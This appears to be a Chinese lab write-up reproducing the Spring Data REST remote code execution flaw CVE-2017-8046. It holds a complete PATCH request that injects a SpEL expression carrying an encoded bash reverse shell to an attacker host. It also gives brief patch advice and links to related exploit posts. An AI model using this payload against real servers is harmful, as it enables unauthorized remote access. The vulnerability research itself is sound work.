作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

影响范围:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
0x01 环境
vulfocus漏洞环境
kali:192.168.111.128

0x02 复现过程

1、访问,构造对象:


查看profile:

查看profile/persons

根据参数构造对象:

{"firstName":"w","lastName":"q"}

2、构造payload

(1) 将反弹shell的payload编码为Java格式:
在线编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

(2) 转换成十进制编码:
转十进制:https://www.osgeo.cn/app/s2650

PATCH /persons/1 HTTP/1.1
Host: 192.168.111.134:17183
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,83,52,120,77,106,103,118,78,68,81,48,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastName", "value": "vulhub" }]

(4) kali开启监听

(5) 发送payload,反弹shell

0x03 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!

漏洞复现 | CVE-2017-8046 Spring Data Rest 远程命令执行相关推荐

  1. 漏洞复现之CVE-2018-1273 Spring Data Commons 远程命令执行

    漏洞背景 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Co ...

  2. 漏洞复现 | CVE-2018-1273 Spring Data Commons 远程命令执行

    作者: 墨阳 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 前言 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data ...

  3. Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现

    前言 2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring Expression Language).对于开发者而言,引入新的工具显然是令人兴奋的,但是对于运维 ...

  4. CNCERT:关于Spring框架存在远程命令执行漏洞的安全公告

    安全公告编号:CNTA-2022-0009 2022年3月30日,国家信息安全漏洞共享平台(CNVD)收录了Spring框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未 ...

  5. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞修复

    Redis 4.x/5.x 远程命令执行高危漏洞修复 漏洞背景 漏洞描述 影响版本(Redis 4.x.Redis 5.x) 安全建议 一.通过阿里云安全组禁止Redis端口对外或只允许特定安全ip地 ...

  6. Spring 新版本修复远程命令执行漏洞(CVE-2022-22965),墨菲安全开源工具可应急排查

    漏洞简述 3月31日,spring 官方通报了 Spring 相关框架存在远程代码执行漏洞,并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞. 漏洞评级:严重 影响组件:org.s ...

  7. Apache[多后缀文件名解析漏洞+换行解析漏洞+SSI远程命令执行漏洞]复现

    目录 一.多后缀文件解析漏洞 二.Apache换行解析漏洞(CVE-2017-15715) 三.Apache SSI 远程命令执行漏洞

  8. NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

    本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...

  9. Cisco Smart Install远程命令执行漏洞

    0x01前言 在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞,该漏洞攻击者无需身份验证登录即可远程执行任意代码.cisco Smart Install是一种" ...

最新文章

  1. 142页ICML会议强化学习笔记整理,值得细读
  2. 浅谈AJAX基本实现流程
  3. 【坑爹微信】微信开发基础 --- 微信快捷登陆问题解决
  4. z变换的零极点图matlab,实验三 Z变换零极点分布及部分分式展开的MATLAB实现.doc...
  5. 一起用C#做个五子棋的小游戏 增加了程序对战功能
  6. Linux下的压缩文件剖析
  7. 详解JMeter函数和变量
  8. POJ - 1381 Secret Code(dfs+高斯整数)
  9. html文件在echarts中,老师,echarts中所有的案例都是.html属性的文件吗?
  10. Python urllib HTTP头注入漏洞
  11. ILSpy c#反编译工具,附下载地址
  12. 「技术综述」人脸表情识别研究
  13. Finalize()、Dispose(bool disposing)和Dispose()的使用场景与对比
  14. 招投标工作中投标书编制的流程是怎样的?
  15. 计算机毕业设计springboot+vue+elementUI高校志愿者管理系统(源码+系统+mysql数据库+Lw文档)
  16. 如何安装linux系统步骤
  17. Ruby erb模板文件生成html网页的示例
  18. 性能测试理论(一)之性能测试方法与流程
  19. PowerMILL 2018四五轴编程后处理宏制作视频教程
  20. 树的搜索问题1(深度优先、广度优先,爬山法和best-first)

热门文章

  1. windows下外接摄像头用python用于采集图像
  2. 《剑指offer》(第二版)题集目录索引
  3. java快捷键 --_java常用的快捷键
  4. 进入Web3.0的元宇宙新纪元,科技巨头争先“跑马圈地”
  5. java实现圆桌问题
  6. macOS Monterey 12.6.5 (21G531) 正式版发布,ISO、IPSW、PKG 下载
  7. IEEE 继电保护代码中英文对照(31-50)
  8. 武汉坚守第十二日——爆发期的困守待破
  9. java中怎么检测ip_Java检测IP地址输入是否正确
  10. 战斗方块系统 steam服务器,steam游戏测评战斗方块剧场BattleBlockTheater